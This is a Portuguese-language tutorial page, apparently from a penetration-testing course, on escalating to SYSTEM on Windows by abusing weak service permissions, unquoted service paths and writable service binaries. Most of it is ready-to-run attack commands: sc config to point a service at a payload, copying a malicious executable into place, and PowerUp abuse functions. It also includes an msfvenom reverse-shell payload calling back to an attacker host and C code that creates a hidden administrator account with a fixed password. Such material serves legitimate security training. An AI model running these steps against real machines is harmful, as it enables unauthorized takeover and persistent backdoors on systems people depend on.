Más configurações de serviços

Explorando permissões fracas de serviços para acesso SYSTEM

O que você vai descobrir

🔧 Experimente agora

Busque caminhos de serviços sem aspas no seu sistema:

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

Você verá: Serviços com caminhos contendo espaços mas sem aspas. Estas são vulnerabilidades potenciais de caminho de serviço sem aspas se você tiver acesso de escrita aos diretórios intermediários.

Habilidades que você vai dominar

Entendendo más configurações de serviços

Serviços Windows são processos em segundo plano que iniciam automaticamente ou sob demanda. Eles tipicamente executam com privilégios altos - muitos como LocalSystem, a conta mais poderosa na máquina. Quando configurações de serviços são fracas, você pode abusar delas para executar código com esses privilégios elevados.

Tipos de permissões de serviços

Serviços têm sua própria ACL com direitos de acesso específicos. Os perigosos são:

Ataque 1: Permissões de serviços fracas

Quando você tem direitos SERVICE_CHANGE_CONFIG, você pode modificar o caminho do binário do serviço para apontar para seu payload:

# Encontrar serviços com permissões fracas (usando Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# Verificar permissões de serviço específico
sc qc VulnerableService
sc sdshow VulnerableService

# Modificar caminho do binário
sc config VulnerableService binpath= "C:\temp\shell.exe"

# Reiniciar serviço (se você tem permissão SERVICE_START)
sc stop VulnerableService
sc start VulnerableService

# Se você não pode reiniciar, espere por reboot do sistema

Ataque 2: Caminhos de serviços sem aspas

Quando um caminho de serviço contém espaços e não está entre aspas, Windows tenta encontrar o executável parseando o caminho da esquerda para direita:

# Exemplo de caminho vulnerável:
C:\Program Files\Vulnerable App\service.exe

# Windows tentará estes na ordem:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe

# Se você pode escrever em C:\ ou C:\Program Files\, você pode criar:
# C:\Program.exe (seu binário malicioso)

# Encontrar caminhos sem aspas
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Verificar permissões de escrita em diretórios intermediários
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"

# Criar executável malicioso nomeado para ser encontrado primeiro
copy shell.exe "C:\Program Files\Vulnerable.exe"

Ataque 3: Binário de serviço gravável

Se você pode escrever no diretório contendo o executável do serviço, você pode substituí-lo completamente:

# Verificar se diretório do binário de serviço é gravável
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"

# Substituir o binário
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"

# Reiniciar serviço
sc stop VulnerableService
sc start VulnerableService

Ferramentas e técnicas

Criando payloads compatíveis com serviços

Serviços esperam binários que interagem com o Service Control Manager. Se seu payload não faz isso, o serviço vai iniciar e parar imediatamente - mas seu código ainda executa:

# Gerar payload compatível com serviço usando msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe

# Ou usar um wrapper que adiciona um usuário
# Este código C cria um exe compatível com serviço:
/*
#include <windows.h>
int main() {
    system("net user hdna Password123! /add");
    system("net localgroup administrators hdna /add");
    return 0;
}
*/

# Compilar com mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Exploração com PowerUp

PowerUp fornece funções para explorar cada má configuração de serviço:

# Para permissões de serviços fracas
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'

# Para caminhos sem aspas
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'

# Para binários graváveis
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

Accesschk do Sysinternals

Accesschk é a ferramenta definitiva para análise de permissões:

# Verificar serviços acessíveis por Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Verificar serviço específico
accesschk.exe -ucqv VulnerableService /accepteula

# Verificar permissões de diretório
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula

# Baixar de: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Cenários de ataque reais

Contramedidas defensivas

Perguntas frequentes

🎯 Exploração de serviços - Carregado!

Você agora conhece três poderosas técnicas de ataque a serviços: permissões fracas, caminhos sem aspas e substituição de binário. Estas estão entre os vetores de escalação de privilégios mais confiáveis em ambientes reais.

Pronto para explorar ataques baseados em registro →